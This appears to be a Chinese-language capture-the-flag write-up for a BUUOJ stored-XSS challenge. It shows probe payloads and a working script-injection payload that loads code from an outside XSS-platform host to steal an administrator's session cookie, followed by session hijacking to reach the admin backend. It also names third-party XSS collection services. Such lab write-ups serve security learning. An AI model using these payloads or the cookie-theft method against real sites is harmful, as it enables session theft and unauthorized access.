一、题面
地址:https://buuoj.cn/challenges#BUU%20XSS%20COURSE%201
题面:
主要有两个功能,“吐槽”和“登录”。
二、核心思路
本关既然考察xss,那么核心思路就是:
1)通过在留言处注入xss攻击代码;
2)然后等待管理员访问留言,触发xss攻击代码的执行;
3)盗取管理员的登录凭据,进而登录后台。
三、解题
3.1 漏洞探测
- 提交12345数据。
- 访问留言内容
测试几次发现每次保存的链接都会不一样。
留言内容会插入在一个span标签中。
- 测试XSS POC
<script " ' Oonn>
<script>alert(1)</script>
自动添加了script闭合标签。
script脚本插入成功了但是没有被执行,没有出现弹窗。
<img src=x onerror=alert(1)>
成功触发xss代码的执行。
<img src=x onmouseover=alert(1)>
使用img标签成功触发xss代码的执行。
说明目标存在存储型的XSS漏洞。
3.2 漏洞利用
3.2.1 xss平台
https://xss.pt/xss.php 【免费会员(暂停服务)!VIP赞助会员(正常使用)。】
https://xssaq.com/ 【经过测试,不是很好用。】
https://xssjs.com/ 【推荐】
3.2.2 利用过程
- 创建项目
- 配置项目
一般情况下选择超强默认模块即可。
- 查看payload
点击查看代码
,查看payload。
根据情况选择适合的payload插入到存在xss漏洞的位置即可。针对本题目,选择了上面高亮的payload:
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//uj.ci/bok';>
- 插入payload
可以看到代码被成功插入。
- 盗取cookie
当后台管理员访问我们的留言时,触发xss代码的执行,上线xss平台。
可以看到管理员的敏感信息已经被我们获取到了,包括:
cookie : PHPSESSID=1b0db00bb2d687b7bf520ae8e22e05e4 【管理员的cookie】
HTTP_REFERER : http://web/backend/admin.php 【后台页面】
- 冒充管理员登录
当使用当前的PHPSESSID尝试访问管理员页面时:
提示没有登录。
这是我们目前的PHPSESSID值。
将PHPSESSID的值修改为1b0db00bb2d687b7bf520ae8e22e05e4
,也就是管理员的cookie。
然后访问后台页面:/backend/admin.php
发现能够成功访问回台并获取flag。
3.3 Flag
flag{bdc5ff12-2c30-4bba-8777-8a617f70c93a}
总结
本文主要基于buuoj平台的(BUU XSS COURSE1)题目来实践存储型XSS漏洞的挖掘与利用过程。整个过程包括几个核心点:1)漏洞探测、2)通过xss平台构建payload 、3)盗取管理员的凭据、4)冒充管理登录后台。